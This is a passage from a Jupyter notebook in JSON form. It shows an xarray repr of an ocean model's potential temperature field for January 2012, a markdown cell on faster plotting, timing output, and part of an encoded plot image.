class='xr-var-data'><pre>array([&#x27;2012-01-02T12:00:00.000000000&#x27;], dtype=&#x27;datetime64[ns]&#x27;)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span class='xr-has-index'>ocean_time</span></div><div class='xr-var-dims'>(ocean_time)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>3.788e+08</div><input id='attrs-1ba1f5be-85c7-415d-bf34-9afbdf17a754' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-1ba1f5be-85c7-415d-bf34-9afbdf17a754' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-0b17f5c6-822d-4d06-9043-0be3da56addd' class='xr-var-data-in' type='checkbox'><label for='data-0b17f5c6-822d-4d06-9043-0be3da56addd' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>seconds since 2000-01-01 00:00:00</dd><dt><span>units :</span></dt><dd>seconds</dd></dl></div><div class='xr-var-data'><pre>array([3.788208e+08])</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-48ca8450-fb18-427d-9731-a2a4baedc2ca' class='xr-section-summary-in' type='checkbox' ><label for='section-48ca8450-fb18-427d-9731-a2a4baedc2ca' class='xr-section-summary' >Indexes: <span>(1)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-index-name'><div>ocean_time</div></div><div class='xr-index-preview'>PandasIndex</div><div></div><input id='index-a99a72d1-6957-4a93-9829-21e9ed2baa62' class='xr-index-data-in' type='checkbox'/><label for='index-a99a72d1-6957-4a93-9829-21e9ed2baa62' title='Show/Hide index repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-index-data'><pre>PandasIndex(Index([378820800.0], dtype=&#x27;float64&#x27;, name=&#x27;ocean_time&#x27;))</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-df3e71e3-6a95-4b37-8a65-416e5622cf36' class='xr-section-summary-in' type='checkbox' checked><label for='section-df3e71e3-6a95-4b37-8a65-416e5622cf36' class='xr-section-summary' >Attributes: <span>(2)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>potential temperature</dd><dt><span>units :</span></dt><dd>degrees Celsius</dd></dl></div></li></ul></div></div>" ], "text/plain": [ "<xarray.DataArray 'temp' (ocean_time: 1, s_rho: 100, eta_rho: 102, xi_rho: 102)> Size: 4MB\n", "array([[[[ 3.2133336 , 2.8887794 , 2.8351593 , ..., 7.874808 ,\n", " 7.875535 , 7.958319 ],\n", " [ 2.927417 , 2.8645372 , 2.9462984 , ..., 7.9686456 ,\n", " 7.9079647 , 7.9008074 ],\n", " [ 3.0651119 , 3.058829 , 2.8778355 , ..., 8.003046 ,\n", " 7.909738 , 7.8565807 ],\n", " ...,\n", " [ 5.406361 , 5.1410503 , 4.8993187 , ..., -0.9849356 ,\n", " -0.99234957, -0.9892463 ],\n", " [ 5.881658 , 5.5948286 , 5.330797 , ..., -0.9963152 ,\n", " -1.0010488 , -1.0041753 ],\n", " [ 6.3468337 , 6.0467267 , 5.765318 , ..., -1.006307 ,\n", " -1.0111945 , -1.0104384 ]],\n", "\n", " [[ 3.2133336 , 2.9167864 , 2.8394558 , ..., 7.874781 ,\n", " 7.87551 , 7.958297 ],\n", " [ 2.939567 , 2.884021 , 2.9462984 , ..., 7.968622 ,\n", " 7.9079413 , 7.9007845 ],\n", " [ 3.0651119 , 3.058829 , 2.8778355 , ..., 8.003025 ,\n", " 7.909716 , 7.8565583 ],\n", "...\n", " [ 5.4032855 , 5.1379814 , 4.8962464 , ..., -0.8384761 ,\n", " -0.5910594 , -0.43460342],\n", " [ 5.878533 , 5.591718 , 5.3276925 , ..., -0.5207716 ,\n", " -0.5480129 , -0.68099326],\n", " [ 6.343665 , 6.043577 , 5.7621803 , ..., -0.6358841 ,\n", " -0.6390127 , -0.6442147 ]],\n", "\n", " [[11.861317 , 11.975734 , 12.094538 , ..., 7.8723536 ,\n", " 7.87313 , 7.956066 ],\n", " [12.045038 , 12.128336 , 12.21467 , ..., 7.966468 ,\n", " 7.9057093 , 7.8985724 ],\n", " [12.213307 , 12.043888 , 11.924701 , ..., 8.001027 ,\n", " 7.907577 , 7.8543725 ],\n", " ...,\n", " [ 5.4032855 , 5.1379814 , 4.8962464 , ..., -0.8383553 ,\n", " -0.5910602 , -0.43436944],\n", " [ 5.878533 , 5.591718 , 5.3276925 , ..., -0.5212487 ,\n", " -0.54781103, -0.6808458 ],\n", " [ 6.343665 , 6.043577 , 5.7621803 , ..., -0.6358841 ,\n", " -0.6392241 , -0.6443343 ]]]], dtype=float32)\n", "Coordinates:\n", " abs_time (ocean_time) datetime64[ns] 8B 2012-01-02T12:00:00\n", " * ocean_time (ocean_time) float64 8B 3.788e+08\n", "Dimensions without coordinates: s_rho, eta_rho, xi_rho\n", "Attributes:\n", " long_name: potential temperature\n", " units: degrees Celsius" ] }, "execution_count": 11, "metadata": {}, "output_type": "execute_result" } ], "source": [ "initial_conditions.ds.temp" ] }, { "cell_type": "markdown", "id": "940187de-1e46-4c4a-8931-484c60d5e600", "metadata": {}, "source": [ "Now plotting of the temperature field should be a lot faster." ] }, { "cell_type": "code", "execution_count": 12, "id": "c01d69d7-aaef-4b2c-a971-e3e739fba1f1", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "CPU times: user 114 ms, sys: 4.91 ms, total: 119 ms\n", "Wall time: 165 ms\n" ] }, { "data": { "image/png": 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